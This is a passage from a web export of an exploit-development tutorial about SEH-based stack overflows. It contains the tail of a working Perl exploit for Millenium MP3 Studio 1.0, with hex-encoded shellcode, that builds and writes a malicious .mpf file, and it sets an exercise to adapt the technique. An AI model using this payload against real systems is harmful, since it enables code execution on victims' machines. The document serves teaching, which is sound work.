#8b0000\">\\x4b\\x51\\x59\\x4c\\x4b\\x50\\x34\\x4c\\x4b\\x45\\x51\\x4a\\x4e\\x50<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x31\\x49\\x50\\x4d\\x49\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x42\\x54\\x43<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x37\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x48\\x42\\x4a\\x4b\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x47\\x4b\\x51\\x44\\x47\\x54\\x45\\x54\\x42\\x55\\x4b\\x55\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x51\\x4f\\x46\\x44\\x43\\x31\\x4a\\x4b\\x42\\x46\\x4c\\x4b\\x44<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x45\\x4c\\x4c\\x4b\\x45\\x51\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x51<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x34\\x45\\x54\\x48\\x43\\x51\\x4f\\x50\\x31\\x4a\\x56\\x43\\x50\\x51<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x45\\x34\\x4c\\x4b\\x47\\x36\\x46\\x50\\x4c\\x4b\\x47\\x30\\x44<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4c\\x4b\\x44\\x30\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x43\\x58\\x45<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x58\\x4b\\x39\\x4b\\x48\\x4b\\x33\\x49\\x50\\x43\\x5a\\x46\\x30\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x4a\\x50\\x4c\\x4a\\x44\\x44\\x51\\x4f\\x42\\x48\\x4a\\x38\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x4d\\x5a\\x44\\x4e\\x51\\x47\\x4b\\x4f\\x4a\\x47\\x42\\x43\\x45<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x31\\x42\\x4c\\x45\\x33\\x45\\x50\\x41\\x41<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk2 = &quot;<span style=\"color: #8b0000\">D<\/span>&quot; x ($totalsize-<span style=\"color: #0000ff\">length<\/span>($junk.$nseh.$seh.$nops.$shellcode));\n<span style=\"color: #0000ff\">my<\/span> $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;\n#\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> (myfile,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> myfile $payload;\n<span style=\"color: #0000ff\">close<\/span> (myfile);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] File written\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> [+] <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;<\/pre>\n<p>pwned !&#160; (and submitted this one to milw0rm :)) : see <a title=\"Millenium MP3 Studio 1.0 .mpf File Local Stack Overflow Exploit #2\" href=\"http:\/\/www.milw0rm.com\/exploits\/9298\">Millenium MP3 Studio 1.0 .mpf File Local Stack Overflow Exploit #2<\/a><\/p>\n<div><\/div>\n<blockquote>\n<div>You can find the list of all of my exploits that are published on milw0rm at <a title=\"http:\/\/www.milw0rm.com\/author\/2052\" href=\"http:\/\/www.milw0rm.com\/author\/2052\">http:\/\/www.milw0rm.com\/author\/2052<\/a><\/div>\n<\/blockquote>\n<div><\/div>\n<h3>Exercise<\/h3>\n<div>Now I have a nice little exercise for you :&#160; try to build a working exploit for m3u files, and see if you can find a way to use an EIP overwrite (instead of SEH)<\/div>\n<div>Quick note : shellcode does not have to be placed after nseh\/seh\u2026 it can also be put in the first part of the payload buffer, and sometimes you have to<\/div>\n<ul>\n<li>use a small buffer location to write some jumpcode, so you can jump to the real shellcode <\/li>\n<li>hardcode an address (if nothing else works) <\/li>\n<\/ul>\n<div>The SEH based exploit for m3u files is almost identical to the mpf version, so I\u2019m not going to discuss this one here<\/div>\n<blockquote>\n<p>If you want to discuss this exercise, please <a href=\"http:\/\/www.corelan.be\/wp-login.php\" target=\"_blank\" rel=\"noopener\">register\/log in<\/a>, and open a dicussion on the forum : <a href=\"http:\/\/www.corelan.be\/index.php\/forum\/writing-exploits\/\">http:\/\/www.corelan.be\/index.php\/forum\/writing-exploits\/<\/a><\/p>\n<\/blockquote>\n<div>(I might just post the solution on the forum in a couple of days as well).<\/div>\n<div>Stay tuned for more information, and tips&amp;tricks on exploit writing\u2026<\/div>\n<blockquote>\n<p>Update : one of the users on this blog\/forum (mancu37) has posted an alternative exploit for this vulnerability (based on direct RET overwrite). You can find his PoC exploit at http:\/\/www.corelan.be\/index.php\/forum\/writing-exploits\/exploit-for-m3u-file-eip-overwrite-additional-excercise-of-tutorial-3-part-b\/.&#160; Good job mancu37 !<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>In the previous tutorial post, I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this : [Junk][next SEH][SEH][Shellcode] I have indicated that SEH needs to be overwritten by a pointer to \u201cpop pop ret\u201d and that &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Exploit writing tutorial part 3b : SEH Based Exploits - just another example\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[244,245,127],"tags":[3733,2128,1876,1875,1865,1836,1834,1828,1817,285],"class_list":["post-2167","post","type-post","status-publish","format-standard","hentry","category-exploit-writing-tutorials","category-exploits","category-security","tag-exploit-development-tutorial","tag-immunity-debugger","tag-perl","tag-payload","tag-seh","tag-stack","tag-shellcode","tag-overflow","tag-eip","tag-windbg"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit writing tutorial part 3b : SEH Based Exploits - just another example - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit writing tutorial part 3b : SEH Based Exploits - just another example - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"In the previous tutorial post, I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this : [Junk][next SEH][SEH][Shellcode] I have indicated that SEH needs to be overwritten by a pointer to \u201cpop pop ret\u201d and that &hellip; Continue reading &quot;Exploit writing tutorial part 3b : SEH Based Exploits - just another example&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2009-07-28T18:15:17+00:00\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Exploit writing tutorial part 3b : SEH Based Exploits - just another example\",\"datePublished\":\"2009-07-28T18:15:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/\"},\"wordCount\":1340,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"keywords\":[\"exploit development tutorial\",\"immunity debugger\",\"perl\",\"payload\",\"seh\",\"stack\",\"shellcode\",\"overflow\",\"eip\",\"windbg\"],\"articleSection\":[\"Exploit Writing Tutorials\",\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/\",\"name\":\"Exploit writing tutorial part 3b : SEH Based Exploits - just another example - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"datePublished\":\"2009-07-28T18:15:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/28\\\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit writing tutorial part 3b : SEH Based Exploits &#8211; just another example\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit writing tutorial part 3b : SEH Based Exploits - just another example - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/","og_locale":"en_US","og_type":"article","og_title":"Exploit writing tutorial part 3b : SEH Based Exploits - just another example - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"In the previous tutorial post, I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this : [Junk][next SEH][SEH][Shellcode] I have indicated that SEH needs to be overwritten by a pointer to \u201cpop pop ret\u201d and that &hellip; Continue reading \"Exploit writing tutorial part 3b : SEH Based Exploits - just another example\"","og_url":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2009-07-28T18:15:17+00:00","author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Exploit writing tutorial part 3b : SEH Based Exploits - just another example","datePublished":"2009-07-28T18:15:17+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/"},"wordCount":1340,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"keywords":["exploit development tutorial","immunity debugger","perl","payload","seh","stack","shellcode","overflow","eip","windbg"],"articleSection":["Exploit Writing Tutorials","Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/","url":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/","name":"Exploit writing tutorial part 3b : SEH Based Exploits - just another example - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"datePublished":"2009-07-28T18:15:17+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Exploit writing tutorial part 3b : SEH Based Exploits &#8211; just another example"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":70841,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=2167"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2167\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=2167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=2167"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=2167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}